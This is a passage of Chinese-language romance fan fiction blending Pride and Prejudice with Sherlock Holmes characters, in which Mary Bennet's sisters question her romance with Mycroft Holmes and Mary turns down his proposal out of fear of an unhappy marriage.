除此之外,还有一间或许玛丽需要知道的消息,她曾经关注的宾利先生,将会在明天回到伦敦,如有需要,可以前往XX咖啡馆,宾利先生会在下午三点到哪里喝一杯咖啡。 无限想念 她忠诚的信徒 麦考福特福尔摩斯。 真是甜蜜的信件,玛丽翻来覆去的看着,麦考福特先生说,她要比那些手下更厉害! 关于宾利先生的消息,玛丽也看在眼里,想了一会,决定给简写一封信,她手上有一些事情,恐怕无法陪伴简一起前去,她可以委托安娜陪伴简一起去。 将宾利先生的消息写在便条上,玛丽先放在了一边,转而给麦考福特先生写起了信件。 开头一定是亲爱的麦考福特先生,但是接下来怎么写,玛丽犯了难。 麦考福特先生写的好极了,辞藻华丽又优美,简直堪比文学作品。 她一时之间竟然不知道该如何回复。 安娜看玛丽拿着笔不知道怎么写,小声的说到:“不论您说什么,先生都会很高兴的。” 说完就离开桌边在旁边等着。 玛丽想了想,脸颊有些泛红,但还是提笔写下:“想您千千万万回,爱您千千万万遍,吻你千千万万次。” 将两张信件分别折叠好放进信封,害怕托马斯送错,还在信封上分别写上了简和麦考福特的名字。 托马斯接过了纸条点头离开。 简是在临睡前收到的消息,托马斯理所当然的先把信件送给了麦考福特,等麦考福特确认不需要回信之后才离开,去给简送了信。 拿到一个陌生人送来的信件时简还有些奇怪,这个陌生人甚至不会说话。 打开看之后简才得知是自己的妹妹送来的,前几天她原本想去见一见玛丽,可是郝德森太太说她外出打猎了,住在狩猎庄园里,听上去是个很刺激的活动,简一边替自己的姐妹开心,她有着无限美好的生活,一边又担心她受伤,打猎,听上去有些可怕。 现在收到了信件,知道玛丽一切都好,简才算彻底放下心来。 对家人的担心放下,爱情的忧愁又弥漫上来。 简这些日子想了很多,舅母一直在劝慰她,可是她有些话实在不知道该不该和舅母说,身边又没有别的可以诉说的人,只能给莉齐写信,碰巧今天早上莉齐回了信,说明天就来伦敦,如果有莉齐的陪伴,说不定她可以鼓起勇气,和宾利先生见一面。 咖啡厅到底不如家庭私密,公共场合见面,简还抱有一丝幻想,哪怕宾利先生不爱自己了,自己也可以说是来伦敦探亲,碰巧遇见,到时候还能留有最后的体面和尊严。 抚摸着玛丽的信件,简不得不承认,玛丽是一个充满勇气的孩子,她总是做自己想做的事情,说自己想说的话,这其实是很难的。 忽然想起玛丽和自己说起,她遇到了爱情,她是那么的坦然又无所畏惧。 简仿佛从回忆中汲取了一些力量,她是不是也该和玛丽一样,勇敢一些,坚定的相信一些,那是爱情。 如果宾利先生真切的爱着她,那么她是不是也应该勇敢的回应和表达这份爱,就像是玛丽一样。 次日一大早,伊丽莎白就来到格雷斯丘奇街,和舅舅舅母还有几个孩子见过,莉齐就拉着简来到了她的房间。 简还没来得及说今天下午需要莉齐的陪伴,去见一见宾利先生,就听见莉齐火急火燎的声音:“你说的玛丽遇到了属于她的爱情是什么意思!” 莉齐简直着急上火的不行,她收到信件后立刻和爸爸说要来伦敦,害怕玛丽遇到了什么不好的事情,莉齐完全没敢告诉爸爸玛丽的事情,只说自己想念简了。 上帝作证,她恨不得自己骑上马来到伦敦! 玛丽,爱情,她才来到伦敦多久! 她在朗伯恩二十年都没有遇到过爱情!! 伦敦可真是个好地方,玛丽都能遇到爱情了! 看着莉齐着急的团团转的样子,简都不知道如何安抚她。 莉齐的话又快又密,简都来不及回答。 转头莉齐又问起了简。 上帝啊,丘比特今年真是神恩赐福,家里的姐妹们一个接一个的坠入爱河,真是了不起啊! 65 第65章 简一直等到莉齐嘟嘟嘟的全部说完才一句一句的回答:“听玛丽所说,那位麦考福特福尔摩斯先生是一位绅士,非常得体,有着一份政府公务员的工作,玛丽对他颇有好感。” 伊丽莎白根本不听前半句,如果她愿意为了所谓的收入妥协,当初就不会拒绝柯林斯表哥:“天哪,简,你相信么,颇有好感,玛丽?你确定吗?” 简看着莉齐着急的团团转的模样实在不知道如何劝慰她。 伊丽莎白眉头紧皱:“不行,我必须得见一见这位先生,虽然我非常相信玛丽的判断能力,这位福尔摩斯先生应该不是什么坏人,但是我还是很难相信,玛丽?坠入爱河,上帝,她连十四行诗都能读的毫无波澜,我始终觉得哪怕莎士比亚在世都无法打动玛丽的内心。” 如何都无法把玛丽和爱情这两个词连在一起,玛丽爱上什么人?简直不敢置信。 简看着莉齐着急上火的模样都不知道自己该不该说出下午需要她陪伴自己,去见一见宾利先生了。 伊丽莎白打定主意,必须要亲自见一见这位福尔摩斯先生,转而再看向简,伊丽莎白发现了她脸上带着踌躇的表情。 似乎有什么很为难的事情一样。 伊丽莎白:“简,你怎么了?有什么难以诉说的事情么?” 简握着伊丽莎白的手,犹豫了一会:“玛丽昨晚请人送来一封信,说宾利先生今天下午三点,会前往XX咖啡馆,我不知道……诶,我实在是不知道该不该去。” 伊丽莎白:“当然要去,简,我看了你的来信,要我说玛丽可真没说错,那位傲慢的达西先生,还有宾利姐妹,实在是虚伪至极!” 简的心情很是低落:“莉齐,幸好在此刻还有你陪伴在我身边。” 两人拥抱着,给予彼此力量。 ———————————————— 玛丽还不知道自己的二姐姐来到了伦敦,一大早起床就开始忙碌起来。 等到了中午,原本打算吃一点午餐,但是又听说有人来送东西。 玛丽还在奇怪,郝德森太太喜气洋洋的带着玛丽下了楼。 楼下是这条街新开张的花店店主,一位很老实的先生。 他手里拎着一篮子的鲜花:“您好,是玛丽班纳特小姐么?有人从我们这里定了鲜花送给您。” 玛丽接过鲜花,那是一篮子漂亮的粉玫瑰,还是上次的爱德华玫瑰,真是漂亮极了。 安娜和店铺主人交换了一个眼神,谁都没说什么。 玛丽抱着花篮,心里咚咚跳跃,嘴角不自觉的飞扬起来。 这位店主看着玛丽欣喜的模样点点头示意:“那么,不打扰了,祝您有美好的一天,小姐。” 玛丽也点点头:“谢谢您先生,也祝您有美好的一天。” 这一篮子鲜花被玛丽分给了郝德森太太一多半,烦请她也给夏洛克收拾个瓶子,放一些。 回到三楼,玛丽将鲜花都放在了客厅,坐在桌边整理账册,时不时抬起头就能看见。 一直忙碌到晚上,玛丽揉了揉自己的脖子,听见安娜提醒自己吃完饭的时候玛丽才发现已经晚上六七点了。 两人来到餐桌边,正准备吃晚餐,却听见门口的脚步声,紧接着是咚咚的敲门声,声音急促,似乎预示着来者的心情。 安娜去开了门,玛丽怎么也没想到会在这里看到伊丽莎白。 玛丽放下手里的餐具就跑到门口,用力的拥抱了自己的姐姐:“莉齐,你怎么来伦敦了!” 伊丽莎白摸了摸玛丽的小脸:“天哪,我的小玛丽,你来才来伦敦多久,就把自己折腾成这样了!” 时隔这么久,伊丽莎白再看到玛丽发现她瘦了许多,那圆乎乎的小脸完全消失了,看上去眼眶都带着一些青黑,脸颊变得不再柔软,捏起来都少了几分乐趣。 这不能怪玛丽,前些日子实在是过于折磨人了。 玛丽笑的甜滋滋的,将脑袋靠在伊丽莎白的怀里:“我好想念你,莉齐,你在朗伯恩都好么?” 简跟在后面:“我们也不知道你在不在家里,伊丽莎白实在等不及,非要现在就来看看你。” 玛丽连忙拉着两位姐姐:“吃过晚餐了么?快来坐下,安娜,安娜!请再去拿两套餐具,谢谢。” 安娜下楼去拿新的餐具,顺带再准备一些餐食,原本准备的两人份恐怕并不太够了。 将简和伊丽莎白拉到沙发上坐下,玛丽激动的不得了。 伊丽莎白看着玛丽忙忙碌碌的收拾,连忙拽着她的手,三个姐妹一起挤在长条沙发上,左手是整个身子都靠向她的玛丽,右手是端坐着的简。 “这些都不急,你快来坐下,和我好好说说你遇到的那位先生,简在信里都没说清楚,你也是,给家里的信那么短,只说自己一切都好,为什么从来不和我们说一说你的那位先生呢?上帝知道,我收到简的来信之后有多么惊讶,简直是惊吓!你可真是把我吓坏了!” 玛丽听见伊丽莎白说的话,连忙看向简,简有些羞涩,她还沉浸在巨大的喜悦中,完全没看到玛丽的眼神。 伊丽莎白盯着玛丽,发现她脸颊红红的,一双眼睛忽然柔软了下来,不再像是曾经那样,提到所谓的绅士,爱情,眼神充满着不在乎和冷淡的情绪。 玛丽:“您是说麦考福特福尔摩斯先生么?” 伊丽莎白点点头:“是的,简和我说的时候吓了我好一大跳,玛丽,我知道你,你是一个三分钟热度的孩子,总是喜欢尝试一些稀奇古怪的东西,但是你知道爱情意味着什么吗?” 玛丽坐在伊丽莎白的旁边,靠在她的肩膀上:“莉齐,我觉得,爱情意味着我喘的上气了。” 伊丽莎白不太明白,定定的看着玛丽。 玛丽握着伊丽莎白的手,放在自己的胸口:“原来我这里总觉得很重,像是压了一块石头,我使劲努力的想要把石头搬开一些,总也挪不开,可是现在一想到麦考福特先生,我就觉得这里的石头消失了,我喘的上气了,很轻盈,很……总之让人忍不住的快乐。” 伊丽莎白目瞪口呆:“我的上帝啊,这位麦考福特先生真是一位神人,竟然让我们的玛丽小姐喘的上气了,还说出这样的话。” 玛丽将自己靠在伊丽莎白的肩膀上:“他是一位很好的先生,他能够理解我你知道么,他愿意听我说话,让我觉得,我似乎不论怎么做都是好的,不论怎么说,都不会被责怪,我可以和他说一切我想说的话,在他身边,我可以做一切我想做的事情。” 伊丽莎白心里变得柔软。 仿佛回到了小时候,那么小的玛丽,乖乖的靠在自己的身边,小小的一团抱着一本快赶得上她一半大的书坐在沙发椅上,那时候玛丽甚至还没办法抱起整本书,只能靠坐在伊丽莎白身边,请她帮忙扶着书,自己翻页看。 小时候的玛丽总是皱着眉头,她不是不爱自己的家人的,小时候的玛丽学会了第一个化学实验,利用化学的反应,给莉齐创造出了一杯子的“星空”。 那时候小小的,只有两岁的莉迪亚兴奋的坐在旁边尖叫着,五岁的玛丽则是得意洋洋的昂着小脑袋,当时她和简也才七岁和八岁,被这杯子里的“星空”镇的目瞪口呆。 玛丽站在桌子边,看着那个创造出一片“星空”的玻璃杯宣布:“喜欢这个生日礼物吗,莉齐,这是我送你的星夜!” 可是再长大以后,她们就很难沟通了,有时候玛丽刚说一些话,莉迪亚就会不耐烦的打断她,总觉得玛丽是一个无趣的书呆子,她忘记了小时候坐在桌子边,激动的拍掌,满眼崇拜的看着自己的姐姐。 玛丽进行准备的礼物她也看不明白,后来玛丽不再给她制作一些奇特的小礼物,转而送一些莉迪亚喜欢的东西,她将自己的爱隐藏起来了。 现在却不同了,玛丽笑着说她可以想说什么就说什么,想做什么,就去做什么。 这位先生和玛丽“说的上话”,不会觉得玛丽是个无趣的小书呆子,他能够理解玛丽,他让二十岁的玛丽再一次得意洋洋的昂起了小脑袋,这难道还不够么? 伊丽莎白用力的拥抱了自己的妹妹:“真为你感到高兴,玛丽,真的,我真为你感到高兴。” 简在一边拿出手帕,忍不住擦了擦眼泪。 在安娜准备餐食的时候,玛丽叽叽喳喳的给两位姐姐描述这位好先生。 “他的眼睛是烟灰色的,我觉得很好看,第一次看的时候会觉得很冷漠,实际上他是个非常好的先生,体贴又温柔,还十分关爱自己的兄弟,哦对了,还没和你们说,我租住了这里的三楼,麦考福特先生的兄弟,夏洛克住在二楼,他和约翰先生合租,两位都是很棒的人,夏洛克也是我来伦敦之后的第一个朋友,非常聪明,好吧,或许比我更聪明一点,但是我觉得他没有麦考福特先生聪明,很多时候麦考福特先生总能抓住问题的重点,一针见血,另外麦考福特先生特别健壮,他可以很轻易的就将一只小鹿拎起来,他的胳膊可有力气了,上次我们一起吃晚餐,他轻轻松松就把沙发推开了!” 看着玛丽在夸赞这位先生的时候,手舞足蹈,一双眼睛都亮了起来,伊丽莎白心里更开心了,玛丽终于品尝到了爱情,这颗伊甸园里最甜蜜的果实。 玛丽:“麦考福特先生的身上总有一种很说不上来的味道,我不知道如何形容,他有时候是皮革味的,那种淡淡的香味让我感觉心脏咚咚直跳,有时候带着风铃草的香味,偶尔也会有风信子的花香,哦对了,我给他送过风信子,他说他喜欢极了!看到书桌上的花了吗?就是麦考福特先生今天送我的,他在爱情这一学科中还没有我学的快,是我先送的花的!要我说,这点还是我更聪明一些,他学的有些慢了!他的声音也很好听,我说不上来,有时候我可讨厌听到他在我耳朵边说话了,总让我觉得耳朵都变得痒痒的,可是听不见的时候,又有些想念他。” 伊丽莎白看了眼桌上的花,觉得说不上来,有些奇怪的感觉,玛丽先送了绅士花朵? 玛丽:“好吧,还有一点我可能太行,在亲吻这一部分,我就不如麦考福特先生了,他比我做的更好,但是如果多尝试几次,说不定我会进步更快。” 简用手帕捂着嘴,伊丽莎白直接伸手按住了玛丽的肩膀:“玛丽,你在说什么?” 玛丽丝毫没觉得哪里不对劲,依然兴致昂扬的诉说自己在爱情这一课中最新的进展:“亲吻呀,和麦考福特先生亲吻的时候总让我觉得呼吸不上来,可是他却完全不会,嗨,下次我得努力进步,可不能差他太多!” 【作者有话说】 伊丽莎白:???? 66 第66章 安娜准备好晚餐上来的时候发现玛丽低着头坐在单人沙发上,显然正在接受自己姐姐的严刑拷问。 伊丽莎白气势汹汹,在客厅里来回走动:“我真是难以想象!你是一个英国人!英国人,不是美国人,更不是法国人!你怎么可以!玛丽!抬起头,看着我!” 玛丽两只手抱着膝盖,整个人缩在小沙发上:“简!救救我,救救我!” 简在一边,也是满脸的不认同。 安娜看了看几位小姐,一时之间都不敢上前说话。 玛丽看到安娜眼前一亮:“安娜是麦考福特先生的手下,你可以问她!” 安娜:“WHAT?” 伊丽莎白的眼神刷一下就盯在了安娜的脸上,安娜手里端着餐盘,站在原地:“嗯……小姐,有什么我能做的。” 伊丽莎白:“请问福尔摩斯先生什么时候有空,恐怕我们需要和他谈一谈,关于玛丽!” 安娜:“当然,当然,我会安排人给先生送信,请问您这边什么时候合适?” 伊丽莎白看了眼玛丽:“越快越好!” 一个先生,竟然没有求婚的情况下,就和玛丽亲吻了!真是难以置信!只有法国人才会这么干! 玛丽坐在沙发上,看着安娜的眼神带着忐忑和恳求,拜托了,她可不敢面对生气的莉齐,还是交给麦考福特先生吧。 晚餐的时候玛丽一句话都不敢说,安娜甚至都来到楼下和郝德森太太一起吃晚餐了。 郝德森太太很激动:“麦考福特先生准备求婚了吗?要我说,他们两个那么甜蜜,早就该求婚啦。” 安娜放下餐刀,双手合掌,内心默默的给先生祈祷了一番:“愿上帝保佑他。” 郝德森太太还喝了一口餐酒:“上帝会保佑他的,麦考福特是个好孩子,我看得出来,他和玛丽那么合适,上帝会祝福两个孩子的。” 安娜默默地看了眼郝德森太太,没有说话。 当天晚上麦考福特忙完一天的工作回到蓓尔美尔街,手下人汇报的许多消息都已经整理了一份,按照轻重缓急,距离远近分门别类,现在的头号问题是雷利,与他相关的所有情报都是第一重点。 在麦考福特展开行动以后,他自然也有自己的回击。 现在上议院还不算什么,下议院许多掌握实权的议员们都暗流涌动起来。 管家送来了最新的信息,麦考福特一一查看,按照不同程度做出批复,明天首相还要召开会议,不是内阁例行大会,而是私下里一些重要人物的小型聚会,许多议员们身边都有麦考福特的人手,具体哪些人会参加,哪些人甚至都没收到消息,麦考福特一清二楚。 管家接过几张便条,又说出了一则消息:“玛丽小姐的两位姐姐都来到伦敦,安娜那边送来一个口信,表示玛丽小姐的姐姐们需要见一见您,具体时间,自然是越快越好。” 麦考福特拿着钢笔的手停顿了一瞬,管家站在桌边,看着麦考福特沉默了片刻之后点点头:“啊……推掉下明天下午俱乐部行程。” 管家点点头,离开了书房。 等到手里的事情都处理完,麦考福特掏出怀表一看,已经凌晨两点多了。 放下手里的钢笔,揉了揉酸胀的手腕和脖颈,麦考福特靠在书房的椅子上喘了口气。 玛丽的两位姐姐到来,恐怕按照时下的情况,是要看一看他是不是一个值得托付的先生。 恐怕得尽快准备钻戒求婚,还得把时间空出来,去一趟玛丽小姐的家乡,见一见他的父亲。 开始在脑海中盘算时间,麦考福特见缝插针的做好了行程规划。 伊丽莎白和简当晚都住在那里这里,第二天早上安娜回复伊丽莎白小姐,下午四点麦考福特先生会前来拜访。 既然麦考福特先生有空,伊丽莎白和简也就多逗留了一天,原本打算今天回去和舅舅们说一下好消息。 简在安娜收拾完早餐之后,告诉了玛丽一个好消息:“宾利先生和我求婚了。” 玛丽坐在沙发上,将自己缩成一团:“求婚?” 简的脸颊羞红,整个人都仿佛沐浴在幸福的光里:“是的,昨天伊丽莎白和我一起去了咖啡厅,幸好是在咖啡厅,我当时心情低落极了,我想着如果他真的不爱我了,我就回到朗伯恩去。可是没想到,宾利先生一见到我们,开心极了,说他给朗伯恩写了许多信,都没得到回复,还以为是我不愿意搭理他。” 伊丽莎白在旁边也显得很高兴:“后面他们去沃克斯豪尔花园散步,宾利在那里和简求婚了!我真是太高兴了,一对有情人终成眷属!” 玛丽倒是愣了一下:“你准备结婚了吗简?” 简点点头,她此刻满心满眼都是自己的爱人:“是的,他说这个月处理完伦敦的公务,下个月就会回到朗伯恩,去拜访父亲。” 说到这里,简羞涩的低下了头。 旁边的伊丽莎白拥抱了一下简:“爸爸和妈妈都会高兴坏了的!” 玛丽却显得有些怔愣:“这么快么?” 简却有些奇怪:“怎么了玛丽?” 玛丽摇摇头,说不上来,总觉得太快了一些,他们两人只是见了几面,跳了几只舞,宾利当然爱慕简,不然他不会求婚,可是玛丽却觉得,是不是太快了,他们还没有真切的相处过,还不知道彼此的心姓,简的性格太温柔了,宾利看上去也十分的好脾气,两个人看上去就是会被别人骗的一无所有的样子。 别人说什么他们都会相信,太容易上当受骗了,他们能组建一个家庭,做出婚姻的承诺么? 三个姐妹和在朗伯恩时一样,伊丽莎白靠在沙发上和简聊聊天,偶尔两人凑在一起做一些刺绣,说是刺绣,不如说是在为玛丽缝缝补补。 她们将玛丽的裙子拿出来,简和伊丽莎白各选了一个帮玛丽做一些修改,添加一些花纹。 终于等到了下午,越是临近下午,伊丽莎白越是坐立难安。 一想到等会自己要面对什么,伊丽莎白就忍不住感觉到头疼,玛丽太过无知了,她懵懵懂懂的,什么都不明白。 伊丽莎白自问自己有责任,也有义务好好拷问一番这位先生,以免他伤害了玛丽。 时间卡的非常准时,四点一到,郝德森太太就听到了楼下的敲门声。 麦考福特先生准时前来。 伊丽莎白和简带着玛丽坐在一起,她坐在长条沙发的中间,玛丽坐在左手边,简则在她的右手边。 麦考福特进来之后先是行礼问好,看上去是个非常体面,态度端正的绅士。 伊丽莎白强作镇定:“请坐先生。” 麦考福特将手杖和外套交给了安娜,老老实实的按照伊丽莎白要求坐在单人沙发上。 他的体格几乎说的上庞大,一整个大块头塞在单人沙发上,几乎将座位占满。 相比于玛丽小小一个缩在沙发里,麦考福特的坐姿显得极富攻击性。 他双手搭着沙发扶手,一条腿搭在另一条腿上,打理的十分整洁的皮鞋上一丝灰尘都没有。 安娜将手杖和外套放好之后,送来了几杯茶水。 伊丽莎白昂着头:“您好福尔摩斯先生。” 麦考福特微微一笑:“请叫我麦考福特吧,玛丽小姐都叫我麦考福特,您不必如此生疏。” 伊丽莎白皱着眉头,瞪了眼玛丽,玛丽看了眼麦考福特先生,又看了眼伊丽莎白,一句话都不敢说。 眼看着玛丽那低眉顺眼的样子,麦考福特觉得有些心疼,还从没看过玛丽这样的情状,看来伊丽莎白小姐在玛丽小姐面前颇具威严啊! 伊丽莎白:“我和玛丽聊过,听上去您是一个十分绅士,十分体面的先生,玛丽是我们的小妹妹,作为家里的第三个孩子,她总喜欢一个人待着,做一些自己喜欢做的事情,听她说,您可以理解她所作的事情,是么?” 麦考福特:“看来玛丽小姐对我颇有赞誉,我不愿意说我只是单纯的理解她,我更愿意称为交流,我们可以交流。” 伊丽莎白定定的看着麦考福特:“是吗,那真是太好了。” 这样的男人,沉稳,坚韧,看似文明体贴,但是实际上带着獠牙。 伊丽莎白以往很难想象,玛丽这样的女孩会找到怎样的伴侣,可是现在,伊丽莎白看着面前的男人,觉得大概就是这样的,玛丽给自己寻找到了一位同伴。 不是依附的关系,而是相互支撑。 麦考福特看着玛丽的时候,眼里的光芒满是温柔和期待,他在静静地等待,等待玛丽这头幼兽的成长。 伊丽莎白端起杯子:“朗伯恩是个非常美丽的乡村,希望您将来会喜欢它。” 麦考福特也端起面前的杯子:“是的,我相信我喜欢她。” 两人交换了一个眼神。 玛丽看来看去,忽然开始生起气来:“麦考福特先生,我想和你谈一谈!” 伊丽莎白看了眼玛丽,她很不高兴,眉头都皱起来了。 麦考福特倒是端正态度:“那……” 玛丽起身,直接当着两个姐姐的面拽着麦考福特进了卧室。 简眼看着玛丽竟然拽着一个先生进了卧室,实在是尴尬,想要伸手阻拦,却被伊丽莎白拉住手。 伊丽莎白:“让他们聊一聊吧。” 玛丽将麦考福特拖进卧室,将他按在床边坐下,麦考福特一下子陷入了一片柔软的织物里。 麦考福特坐着也没有比玛丽矮多少,稍稍仰头就能看见玛丽的表情,似乎很焦躁。 玛丽来回走动,忽然站定在麦考福特面前:“您是要和我求婚么?” 好大的惊喜,麦考福特却有些紧张,毕竟玛丽说到求婚这个词的时候并没有什么害羞,反而显得很生气。 麦考福特思考了片刻:“这要听从你的意愿,玛丽。” 玛丽:“如果你要和我求婚,为什么不直接和我对话呢?你和伊丽莎白说的那些话,好像两个人自顾自的商量好了,决定我的未来,我很不高兴,我就像是一个被你们决定买卖的商品!” 麦考福特明白了玛丽的愤怒所在,缓缓抬起手臂,*牵住了玛丽的手。 玛丽看着面前摊开的手掌,犹豫片刻将自己的手放了上去。 麦考福特引导着玛丽坐在自己的身边,可是玛丽神来一笔,直接坐在了麦考福特的怀里,甚至给了他一个大大的拥抱。 一双手臂环过他的胸口,将整个人靠在他的怀中。 玛丽的耳朵就贴在麦考福特的胸膛上,能听见那逐渐加速的心跳声:“麦考福特先生,你说过,你愿意听我说话,愿意听我阐述我的思想,可以直白的说出我的感受,那么我此刻想要说,如果我爱你,我会如同此刻一般给你一个大大的拥抱,将我的心袒露在你的面前,而不是和夏洛克去讨论,去决定,你也不该这样,你和莉齐商量好了,还指望我听不懂么?我不喜欢这样。” 麦考福特缓缓将自己的手臂环过玛丽的肩膀:“对不起,玛丽小姐。” 玛丽沉默了一会:“好吧,我原谅你了,我感觉自己很难和你生气,你一说对不起,我的心情就变好了一些。” 麦考福特低头在玛丽的额头落下一个吻:“玛丽小姐,这一生除了你,我不曾再为第二个人心动,当你用你的双眼看向我的时候,我也在你眼中看到了我的存在,我的心为你而跳动,你的生命充满绚丽的光彩,你的灵魂熠熠生辉,而我将永远支持你,成为你最诚挚的信徒,在此我卑微的恳求你,与我一起携手,组建一个家庭,成为彼此的家人。玛丽,你愿意嫁给我吗?” 玛丽坐在麦考福特的腿上,抬起头看着他的眼睛,那双烟灰色的瞳孔仿若黎明前的星空,颜色清淡又美丽,闪烁着细碎的光芒,思考了一会,试图用理智,用一切书本里看来的知识解答此刻的心情,可是玛丽却发现,没有任何一本书上有答案。 最终,玛丽决定听从自己的心,就像是麦考福特先生当初和她说的一样:“不,麦考福特先生,我暂时不想步入婚姻。我感觉我确实有点爱你,但是婚姻……对不起,我有点害怕。” 67 第67章 玛丽不知道如何形容自己那种空洞又具体的恐惧。 在她有限的人生阅历中,班纳特夫妇是她唯一目睹的婚姻,或者说比较详细的目睹,毕竟别人家的婚姻都只会表现出美好的一面给外人看。 她太早就拥有了记忆能力,以至于在她一两岁,所有人都以为她只是个孩子根本听不明白的时候,她就牢牢地记住了班纳特先生的话语。 然后在多年以后忽然明白,当时他的话是多么的刺痛人心,他是一个经历了二十多年,才逐渐成长为好父亲的男人,但是时至今日,玛丽依然不确定,他是否是一个好丈夫,这个问题的答案只有班纳特太太可以回答。 “我这辈子最后悔的事情,就是同你求婚!” 那是爸爸亲口对妈妈喊出来的话。 他的语气非常凶恶,几乎是那种,恨不得班纳特太太下一秒就立刻死去一般。 当然,班纳特太太也不遑多让,她尖叫哭嚎着,厉声咒骂班纳特先生, 两人在书房里大吵大闹,用世界上最恶毒的语言攻击彼此,丝毫不顾所谓的绅士和淑女的体面。 根本没人注意到,小小的玛丽就躲在桌子下面目睹了全程,当时她只觉得害怕,虽然听不明白,但是她下意识的记住了两人所有的对话,所有的表情,那种面目狰狞,说尽了难听话的样子让她在很久以后都无法忘却。 吵架吵到最后,班纳特太太愤怒的,大声的嘶吼,她像是掏出最后底牌的赌徒:“我要离开你,我要回家去!” 班纳特先生反而变得非常冷漠,那副冷漠的表情吓坏了玛丽,那个男人不是爸爸,而是世界上最恐怖的凶手,他用语言杀死了一个女人对婚姻最后的期待,他说:“你没有家,班纳特太太,除了朗伯恩,你无处可去。” 然后两人就不说话了,班纳特太太似乎失去了所有的力气,赌徒丢下最后的底牌,却发现实际上那是餐巾纸,纸上什么都没有,于是她转身离开了书房。 从此以后,书房就成为了班纳特太太的禁地,她再也没有踏入过书房一步,那里有她在这段婚姻里最丑陋和狼狈的一面,她不愿意再进入那间屋子,仿佛只要不进去,那一切就不曾发生。 那一年家里冷冰冰的,仿佛停尸间。 玛丽那时候还不知道什么是停尸间,只觉得家里太安静了,唯一的声音来自班纳特太太。 她只是一个小孩子,在此之前她整日里被佣人们抱来抱去,在此之后,变成班纳特太太时常抱着她。 班纳特太太和她哭诉,哪怕玛丽只是个孩子,什么都听不懂,毕竟班纳特太太也只能和她哭了,简和莉齐都被送去伦敦舅舅家里,美其名曰出去玩一玩。 她们两个已经稍微大了一些,爸爸妈妈可能不愿意让她们知道。 但是玛丽还小,没人指望她能记得,所以班纳特太太抱着玛丽哭啊哭啊,一次又一次的回忆往昔,当初两人多么的美好,现在的两人,多么的仇恨彼此。 婚姻是争吵,是指责,是母亲一次又一次抱着孩子留下的泪水。 一年以后凯蒂出生,然后又一年,莉迪亚出生。 莉迪亚出生之后,班纳特太太的身体彻底垮了,她再也无法怀孕。 医生说如果她再次怀孕生产,很可能会失去生命。 两人都放弃了,家里再也没有新生的孩子。 玛丽不明白,为什么妈妈的肚子鼓起来又消下去,又鼓起来,又消下去。 可是爸爸妈妈的表情却一次比一次失望,两人的相处一次比一次冷漠。 玛丽记着两人最久的一次,足足有两个月没有直接对话过。 有什么话都是通过家里的女仆传达。 一直到莉迪亚长大了,她调皮捣蛋,搞得家里整日都安静不下来,妈妈把大部分的关注都放在了莉迪亚的身上。 爸爸似乎终于从中找到了片刻的喘息。 他钻进书房,整日整日的不出门。 两人足足磨合了十几年,才学会如何相处。 这就是玛丽对于婚姻最初的记忆。 她害怕婚姻,害怕有朝一日会有一个人和她说:“我这辈子最后悔的事情,就是同你求婚!” 玛丽知道麦考福特先生比自己聪明,比自己富有智慧,如果有朝一日,他也认为自己是个蠢蛋呢?有朝一日他会钻进他的书房里嘛?自己该怎么办呢?她没有一个属于自己的书房,她该躲到那里去呢? 麦考福特不知道为什么,玛丽忽然低下头默默地流着眼泪,她甚至没有哭出声,只是将毛茸茸的小脑袋靠在自己的怀里,泪水打湿了他的衬衣,这一小片湿润的触感像是火焰,灼烧着他的心,让他打从心底里开始泛起疼痛。 玛丽能感受到发顶一下又一下的亲吻,背后的手宽大又有力量。 麦考福特手足无措:“怎么了,玛丽?为什么哭泣?如果你暂时不愿意同我步入婚姻,我愿意继续等待,没关系,你不要难过,我的心都快碎了。” 玛丽摇摇头,不知道该怎么说出自己的恐惧,哭了半天也只是说:“我有点害怕。” 麦考福特轻轻吻去她的泪水:“你在害怕什么?你可以和我说,你知道的,所有的事情你都可以和我说。” 玛丽靠在他的胸口:“我在害怕书房。” 麦考福特一时之间真没明白,书房? 玛丽:“我在害怕一个,我再也不愿意踏入的书房。” 麦考福特不知道玛丽曾经面对过什么,他无法理解书房的含义。 玛丽的声音带着一丝颤抖和哽咽:“麦考福特先生,如果有朝一日,我们再也无法沟通,无法理解彼此,到时候你会后悔和我求婚么?会生气的和我说你后悔了么?如果你躲进书房里,再也不愿意同我说话,也不愿意听我说话,到时候,我该去哪里呢?” 如果有朝一日,两人真的步入婚姻,她或许会跟随麦考福特先生住进他的公寓,可是那是他的,卧室,会客厅,书房,任何一个角落,哪怕杂物间,都是属于麦考福特先生的,没有一寸土地属于她,她届时将会无处可躲,她甚至连朗伯恩都回不去,因为朗伯恩也不属于她。 麦考福特似乎摸到了一点边,这是一个很难回答的问题,他当然可以言辞恳切的说,他不会后悔,可是玛丽不会相信的。 未来的事情没人说的准,不论他说上几万次,几十万次,几千万次,哪怕他真真实实的,打从心底里知道自己是一个如何冷漠,如何自私的人,他这一生,恐怕只会为一个女人动心,但是玛丽小姐依然会恐惧那万分之一的可能性。 玛丽垂头丧气,她不知道如何消弭这种摸不着边际的恐惧。 恐惧不在当下,而在于任何人都无法确定的未来。 麦考福特心疼的看着玛丽的泪水,她咬着嘴唇,努力压抑自己的哽咽。 非常可耻的,麦考福特觉得自己竟然热血涌动起来,玛丽总是气势昂扬,充满一种蓬勃向上的生命力,第一次看到她真切的表露出心底里的恐惧,麦考福特竟然涌起一股子英雄气概来,他曾经最看不起的一种情绪,勇敢。 一种鲁钝的愚蠢的勇敢,此刻充盈着他的胸怀,哪怕此刻玛丽说,她想要法国王后的冠冕,他都会想办法弄来给她,毕竟安托瓦内特连她的头都没办法守住,更别说华丽的冠冕了。 但是玛丽不需要,她不在乎那些华贵的珠宝,她需要一种肯定的,切实的东西。 一种看得见,摸得着,能保证她在不确定的未来,也能随时后退的安全感。 这其实是很可怜的,玛丽尚未期待幸福,已经开始幻想未来的不幸了。 一想到这里,麦考福特更心疼玛丽了:“一栋属于你的公寓如何?” 玛丽没明白:“什么?” 麦考福特轻轻的舔舐着她唇角的泪水:“一栋属于你的公寓,如果你害怕我躲进我的书房,那没关系,玛丽,你可以拥有一栋属于你的公寓,哪里会有你的书房。” 含住玛丽的唇珠,麦考福特品尝到泪水的咸涩,还有她最甜蜜的味道。 玛丽感觉自己肺里的氧气又要被麦考福特先生抢光了,她迷迷糊糊,头脑发晕,感受到麦考福特先生的舌尖擦过自己的上颚。 为什么麦考福特先生总是会一些新招式!他从哪里学会的! 玛丽莫名气恼起来,学着他的动作,牙齿轻轻咬住麦考福特的下唇,齿尖划过唇瓣,然后再用舌尖舔舐安抚。 